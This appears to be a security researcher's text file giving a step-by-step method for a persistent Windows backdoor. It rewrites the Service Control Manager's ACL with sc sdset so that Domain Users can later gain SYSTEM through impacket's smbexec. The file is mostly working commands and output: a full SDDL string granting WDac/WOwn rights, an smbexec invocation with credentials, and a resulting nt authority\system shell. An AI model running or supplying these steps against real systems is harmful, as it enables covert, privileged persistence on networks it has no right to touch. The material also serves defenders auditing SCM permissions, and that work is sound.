Persistence (Backdoor) access to Windows with SCM (Service Control Manager) a.k.a. psexec without admin users

SCM_backdoor.txt

@author LongCat (Pichaya Morimoto)

By default, only admin users have right to manage SCM 
but if you (mistakenly) grant a non-admin user to manage SCM, 
he will be able to perform tasks on behalf admin / nt authority system rights.

This fact is a known system design mentioned in ..

1. Service Security and Access Rights
https://docs.microsoft.com/en-us/windows/desktop/Services/service-security-and-access-rights

"Granting certain access rights to untrusted users (such as SERVICE_CHANGE_CONFIG or SERVICE_STOP) 
can allow them to interfere with the execution of your service, 
and possibly allow them to run applications under the LocalSystem account."

2. Best practices and guidance for writers of service discretionary access control lists
https://support.microsoft.com/en-us/help/914392/best-practices-and-guidance-for-writers-of-service-discretionary-acces

"Best practices
Limit service DACLs to only those users who need a particular access type. 
Be especially cautious with the following rights. 
If these rights are granted to a user or to a group that has low rights, 
the rights can be used to elevate to LocalSystem on the computer:

ChangeConf (DC)
WDac (WD)
WOwn (WO)
"

but there is no public info on how to actually do it yet.

[how to]:

1. Get your SID (user or group is okay but preferably, group SID for hiding your real identity among others)
; get user SID
PS C:\> Get-ADUser -Identity longcat |select SID

Output:
SID
---
S-1-5-21-894974632-2468340728-012341234-1337

; or group SID
PS C:\> Get-ADPrincipalGroupMembership longcat


distinguishedName : CN=Domain Users,CN=Users,DC=hackercorp,DC=local
GroupCategory     : Security
GroupScope        : Global
name              : Domain Users
objectClass       : group
objectGUID        : 180d998c-8871-1234-1234-896f08c71234
SamAccountName    : Domain Users
SID               : S-1-5-21-894971234-2468341234-142691234-513


2. Grant the SCM rights to the attacker 
(this requires admin right in the first place as this is a persistence technique, not an exploit :P)

The important values here are: attacker's user/group SID, grant WD (WDac) and WO (WOwn) rights to that SID.

C:\> sc sdset scmanager "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-894971234-2468341234-142691234-513)(A;;CCLCRPRC;;;IU)(A;;CCLCRPRC;;;SU)(A;;CCLCRPWPRC;;;SY)(A;;KA;;;BA)(A;;CC;;;AC)S:(AU;FA;KA;;;WD)(AU;OIIOFA;GA;;;WD)"

Output: 
[SC] SetServiceObjectSecurity SUCCESS


3. revisit your backdoor with psexec (smbexec, etc.) by a non-admin user (in Domain Users group or any SID in the previous step)
https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py

$ smbexec.py -debug -share writableFolder longcat:'P@ssw0rd!'@1.2.3.4

[+] StringBinding ncacn_np:1.2.3.4[\pipe\svcctl]
[+] Executing %COMSPEC% /Q /c echo cd  ^> \\127.0.0.1\writableFolder\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
[+] Executing %COMSPEC% /Q /c echo whoami ^> \\127.0.0.1\writableFolder\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
nt authority\system

C:\Windows\system32>

As you can see, a low privilege 'longcat' user who is only in 'Domain Users' group has became system!

"CCDCLCSWRPWPDTLOCRSDRCWDWO" is a value in SDDL format (Security Descriptor Definition Language).
More info: https://docs.microsoft.com/en-us/windows/desktop/secauthz/security-descriptor-string-format


Before backdooring with SCM, psexec with a non-admin user returns the error as follows:

$ smbexec.py -debug -share writableFolder longcat:'P@ssw0rd!'@1.2.3.4
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[+] StringBinding ncacn_np:1.2.3.4[\pipe\svcctl]
DCERPCException: rpc_s_access_denied
[-] rpc_s_access_denied


Tested on Win 2016 with UAC disabled,LocalAccountTokenFilterPolicy=1 and RequireSecuritySignature=0.